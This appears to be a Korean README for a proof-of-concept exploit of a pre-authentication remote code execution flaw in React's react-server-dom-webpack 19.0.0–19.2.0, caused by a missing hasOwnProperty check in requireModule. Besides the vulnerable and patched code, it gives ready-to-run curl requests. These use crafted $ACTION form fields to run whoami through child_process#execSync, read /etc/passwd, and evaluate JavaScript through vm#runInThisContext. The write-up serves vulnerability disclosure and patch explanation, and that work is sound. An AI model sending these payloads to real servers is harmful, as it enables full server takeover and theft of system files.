
[email protected]에서 누락된 `hasOwnProperty` 검사를 보여주는 실제 PoC
[email protected]의 심각한 원격 코드 실행 취약점을 보여주는 최소한의 개념 증명입니다.
사전 인증 RCE 취약점으로, 취약한 react-server-dom-webpack 패키지(버전 19.0.0 ~ 19.2.0)를 사용하는 서버에서 공격자가 임의 코드를 실행할 수 있게 합니다.
CVSS 점수: 10 (심각)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty 확인 누락취약점은 React의 Flight 프로토콜 구현 내 requireModule 함수에 존재합니다. 이 함수는 클라이언트 요청에서 받은 메타데이터를 기반으로 모듈 내보내기를 로드합니다.
취약한 코드 ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- No validation!
}
문제는 metadata[NAME]이 사용자 입력(HTTP 요청)에서 비롯된다는 점입니다. 공격자는 child_process#execSync와 같은 임의의 모듈 및 내보내기 이름을 지정할 수 있습니다.
패치된 코드 ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// FIXED: Validate that the export actually exists
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
수정에서는 hasOwnProperty.call()을 추가하여 요청된 내보내기가 프로토타입 체인에서 상속되거나 위험한 모듈로 동적으로 해석될 수 있는 것이 아니라 모듈의 고유 속성인지 확인합니다.
$ACTION_REF_0 및 $ACTION_0:0 필드가 포함됩니다.$ACTION_0:0에는 {"id":"child_process#execSync","bound":["whoami"]}가 포함됩니다.decodeAction이 이를 파싱하고 공격자가 제어하는 메타데이터로 requireModule을 호출합니다.requireModule이 require('child_process').execSync를 반환합니다.cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
예상 출력:
{"success":true,"result":"your-username\n"}
# 파일 읽기
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# JavaScript 실행
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction 흐름HTTP Request
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - Parses $ACTION_REF_0 to find action reference │
│ - Parses $ACTION_0:0 to get {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (attacker controlled) │
│ - bound = ["whoami"] (attacker controlled) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - Splits "child_process#execSync" into: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [VULNERABLE] │
│ - Loads require("child_process") │
│ - Returns moduleExports["execSync"] │
│ - NO VALIDATION that "execSync" should be accessible │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → EXECUTES "whoami" ON SERVER │
└─────────────────────────────────────────────────────────────┘
MIT